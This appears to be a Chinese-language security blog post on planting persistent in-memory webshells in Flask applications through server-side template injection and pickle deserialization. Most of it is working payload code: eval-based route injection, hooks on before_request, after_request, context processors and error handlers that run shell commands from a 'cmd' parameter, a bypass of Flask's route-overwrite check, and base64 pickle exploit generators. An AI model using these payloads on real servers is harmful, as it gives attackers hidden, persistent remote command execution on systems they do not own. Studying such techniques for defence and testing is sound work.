打路由注册函数

主要思路是利用路由注册函数添加一个含有恶意逻辑的路由，属于老生常谈的利用方式

flask<=2.1.3

对于版本较低的 flask 应用，在取得 SSTI 漏洞后，有一个经典的内存马 payload

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

在拿这个 payload 测试各个 flask 版本的时候遇到了一点小插曲，flask2.3.x 在 url_for.__globals__ 里找不到 current_app，flask3.0.x 却能找到，其实这就是 <Flask 'app'> 对象，按理来说这是全局变量来的（最后用 get_flashed_messages.__globals__ 拿到了 current_app）

跟踪 url_for 的实现，发现在 flask.helpers：

def url_for(
    endpoint: str,
    *,
    _anchor: str | None = None,
    _method: str | None = None,
    _scheme: str | None = None,
    _external: bool | None = None,
    **values: t.Any,
) -> str:
    return current_app.url_for(
        endpoint,
        _anchor=_anchor,
        _method=_method,
        _scheme=_scheme,
        _external=_external,
        **values,
    )

继续跟踪 current_app.url_for 到 flask.app.Flask.url_for，发现在 2.3.x 中，flask/app.py 并没有引入 current_app

而 3.0.x 是有的

那为什么 get_flashed_messages 能拿到 current_app 呢？因为该函数的定义位置为 flask.helpers.get_flashed_messages，而各版本的 flask/helpers.py 都是引入了 current_app 的

其实从 3.0.0 开始 flask/app.py 才有引入 current_app，那为啥更低的 flask 版本如 2.1.x 能用 url_for.__globals__['current_app'] 呢？比对 2.1.3 和 2.3.0 的实现，发现在预定义 Jinja2 模板上下文时，有一些差异

可以看到：

flask2.1.3 中，SSTI使用的 url_for 指向了 flask.helpers.url_for

flask2.3.0 中，SSTI使用的 url_for 指向了 flask.app.Flask.url_for

所以在不同版本中，我们 ssti 拿到 url_for.__globals__ 获取的上下文是不一样的！结合之前审计代码的结果

各版本的 flask/helpers.py 都是引入了 current_app 的

从 3.0.0 开始 flask/app.py 才有引入 current_app

就能知道：在 flask2.3.x 中，url_for 的上下文是没有 current_app 的，也就解释了为什么 __globals__ 中没有 current_app

再回头看 create_jinja_environment 函数，发现 flask 预先给模板上下文引入了

url_for, get_flashed_messages, config, request, session, g

这几个变量

其中能获取 __globals__ 的有：

再加上 Jinja2 默认定义在上下文中的一些变量

这些都能用来做 SSTI bypass

flask>2.1.3

先写一个最简单的 SSTI 环境来进行测试

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
    return 'hello flask'

@app.route('/hack', methods=['GET', 'POST'])
def hack():
    payload = request.form.get('payload')
    if not payload:
        payload = 'please post payload'
    template = f"{payload}"
    return render_template_string(template)

if __name__ == "__main__":
    app.run()

根据参考文章的说法，高版本的 flask 用不了前面提到的经典内存马 payload

试了一下，确实不行，报 AssertionError 了（这个是新版 Flask 的防御机制；经测试，上述 payload 最后可生效版本为 2.1.3

那新版 Flask 就没法打内存马了吗？先说结论，可以打，上面的防御机制在某些条件下是可绕过的（关于 AssertionError 出现的原因，参考文章 Python Web 内存马多框架植入技术详解 有详细的说明

要绕过的话，就要读 flask 添加路由的源码，顺便探究一下原本的经典 Payload 是怎么来的

跟进 route 装饰器，可以看到其调用了 add_url_rule 函数

@setupmethod
def route(self, rule: str, **options: t.Any) -> t.Callable[[T_route], T_route]:
    def decorator(f: T_route) -> T_route:
        endpoint = options.pop("endpoint", None)
        self.add_url_rule(rule, endpoint, f, **options)
        return f
    return decorator

针对低版本 flask 的内存马 payload 就是通过调用 add_url_rule 来实现路由添加

再跟进 Flask 类实现的 add_url_rule

@setupmethod
def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None = None,
    provide_automatic_options: bool | None = None,
    **options: t.Any,
) -> None:
    if endpoint is None:
        endpoint = _endpoint_from_view_func(view_func)  # type: ignore
    options["endpoint"] = endpoint
    # ... 
    rule_obj = self.url_rule_class(rule, methods=methods, **options)
    rule_obj.provide_automatic_options = provide_automatic_options

    self.url_map.add(rule_obj)
    if view_func is not None:
        old_func = self.view_functions.get(endpoint)
        if old_func is not None and old_func != view_func:
            raise AssertionError(
                "View function mapping is overwriting an existing"
                f" endpoint function: {endpoint}"
            )
        self.view_functions[endpoint] = view_func

可以看到该函数将 rule_obj 对象添加到了 url_map 中，然后将 view_function[endpoint] 赋值为 vie_func

所以我们能够通过直接操作 url_map 和 view_function 来手动实现 add_url_rule，也就不会触发保护机制

首先构造第一条请求向 url_map 中新增一条 UrlRule

url_for.__globals__['__builtins__']['eval'](
    "app.url_map.add(
        app.url_rule_class('/shell', methods=['GET'], endpoint='shell')
    )",
    {
        'app':url_for.__globals__['current_app']
    }
)

可以看到此时访问 /shell 不会报 404 了，也就是说我们成功将 “/shell” 添加到了路由表，但是由于并未添加 view_function[endpoint]，会报 KeyError 错误

然后构造第二条请求向 view_function 中添加对应 endpoint 的实现

url_for.__globals__['__builtins__']['eval'](
    "app.view_functions.update(
        {
            'shell': lambda:__import__('os').popen(
                app.request_context.__globals__['request_ctx'].request.args.get('cmd', 'whoami')
            ).read()
        }
    )",
    {
        'app':url_for.__globals__['current_app']
    }
)

此时就获得了一条能执行 shell 命令并回显的路由 /shell

打各种钩子函数

目前来讲这种打法还是比较通用的，受 Flask 版本影响较小。这里只总结几个比较常用的，没有写上去的像 teardown_appcontext、errorhandler 和 teardown_request 等等也是能利用的

flask 请求处理流程

参考自官方文档：https://dormousehole.readthedocs.io/en/latest/lifecycle.html#id5

这里只关注各种钩子函数的触发顺序

匹配路由表 $\rightarrow$ 触发钩子：before_request $\rightarrow$ 调用绑定的 endpoint$\rightarrow$ 如果到此之前有任何异常，触发钩子：errorhandler

$\rightarrow$ 触发钩子：after_this_request$\rightarrow$ 触发钩子：after_request $\rightarrow$ 触发钩子：teardown_request $\rightarrow$ 触发钩子：teardown_appcontext

@app.before_request

该钩子在请求处理前触发，官方描述如下

Register a function to run after each request to this object.

The function will be called without any arguments. If it returns a non-None value, the value is handled as if it was the return value from the view, and further request handling is stopped.

This is available on both app and blueprint objects. When used on an app, this executes before every request. When used on a blueprint, this executes before every request that the blueprint handles. To register with a blueprint and execute before every request, use Blueprint.before_app_request().

来读一下这个装饰器的源码，可以发现主要的逻辑就是向 before_request_funcs 属性（本身是个字典）的 None 键对应的值（本身是个列表）中 append 一个函数

还是很容易使用 SSTI 模拟的，几乎照抄就行，注册的函数用 lambda 来表示

url_for.__globals__['__builtins__']['eval'](
    "app.before_request_funcs.setdefault(None, []).append(
        lambda: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
    )",
    {
        'request': url_for.__globals__['request'],
        'app': url_for.__globals__['current_app']
    }
)

由于这里注册的匿名函数的返回值不为 None，所以现在访问任何路由都不会进入 endpoint，而是直接使用该匿名函数的结果作为响应

先打 payload 添加 before_request 行为

然后随便访问一个路由即可

@app.after_request

这个钩子在请求处理后触发，官方描述如下

Register a function to run after each request to this object.

The function is called with the response object, and must return a response object. This allows the functions to modify or replace the response before it is sent.

If a function raises an exception, any remaining after_request functions will not be called. Therefore, this should not be used for actions that must execute, such as to close resources. Use teardown_request() for that.

This is available on both app and blueprint objects. When used on an app, this executes after every request. When used on a blueprint, this executes after every request that the blueprint handles. To register with a blueprint and execute after every request, use Blueprint.after_app_request().

after_request 源码结构和 before_request 非常类似，使用相似的方式构造 payload 即可

需要注意的是，这个装饰器所装饰的函数需要有一个 respones object 入参，使用例

@app.after_request
def say_hello(resp):
    resp.headers['message'] = "hello world"
    return resp

payload 中给 lambda 函数加一个入参占位即可

url_for.__globals__['__builtins__']['eval'](
    "app.after_request_funcs.setdefault(None, []).append(
        lambda x: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
    )",
    {
        'request': url_for.__globals__['request'],
        'app': url_for.__globals__['current_app']
    }
)

@app.context_processor

这个装饰器不是钩子，但是行为和钩子函数类似；作用是为模板渲染注册默认的上下文，可以看作每次渲染模板前触发该钩子

官方描述

Registers a template context processor function. These functions run before rendering a template. The keys of the returned dict are added as variables available in the template.

This is available on both app and blueprint objects. When used on an app, this is called for every rendered template. When used on a blueprint, this is called for templates rendered from the blueprint’s views. To register with a blueprint and affect every template, use Blueprint.app_context_processor().

来看源码，依旧是非常简单

先用下面的 payload 将 os.popen(...).read() 的返回值赋给 cmd

url_for.__globals__['__builtins__']['eval'](
    "app.template_context_processors[None].append(
        lambda : {
          'cmd': __import__('os').popen(request.args.get('cmd', 'whoami')).read()
        }
    )",
    {
        'request':url_for.__globals__['request'],
        'app':url_for.__globals__['current_app']
    }
)

之后用 ssti {{cmd}} 就能获取命令回显

技巧补充

和 clown 师傅交流的时候，学习了几个相关的技巧，这里补充一下

利用 Undefined 拿 globals

ssti 用一个模板上下文不存在的变量作起点时，例如 {{aaa.__init__}}，可以拿到一个 <bound method Undefined.__init__ of Undefined>

这个 Undefined 居然是能够拿到 __globals__ 的

该方法仅限于使用 JinJa2 模板引擎的场景，这个 Undefined 是定义在 jinja2/runtime.py 中的，所有不存在于模板上下文的变量都会被 Jinja2 视为 Undefined 类

简单获取 flask.request 对象

之前看的几篇参考文章都是用操作堆栈的方式来获取 request

flask<2.3.0 时，可以用 url_for.__globals__.get('_request_ctx_stack') 拿到堆栈

flask>=2.3.0 时，可以用 url_for.__globals__['current_app'].request_context.__globals__['request_ctx'] 拿到堆栈

上面这两种拿法都是获取 RequestContext 对象，然后用 RequestContext.request 的方式来获取 request

clown 师傅告诉我直接用 url_for.__globals__['request'] 拿就行了，一开始我还不信，当着他面试了好几个版本，结果都是能用的🤡

跪了 orz

通过 pickle 打内存马

算是一种扩展思路，证明 Flask 内存马的利用不一定要依赖 SSTI，payload 其实和前面的非常相似

clown 师傅说他看 gxngxngxn 大佬的文章学的，这里贴出地址 新版FLASK下python内存马的研究

before_request

import os
import pickle
import base64
class Evil():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

print(base64.b64encode(pickle.dumps(Evil())))

after_request

import os
import pickle
import base64
class Evil():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

print(base64.b64encode(pickle.dumps(Evil())))

errorhandler

import os
import pickle
import base64
class Evil():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

print(base64.b64encode(pickle.dumps(Evil())))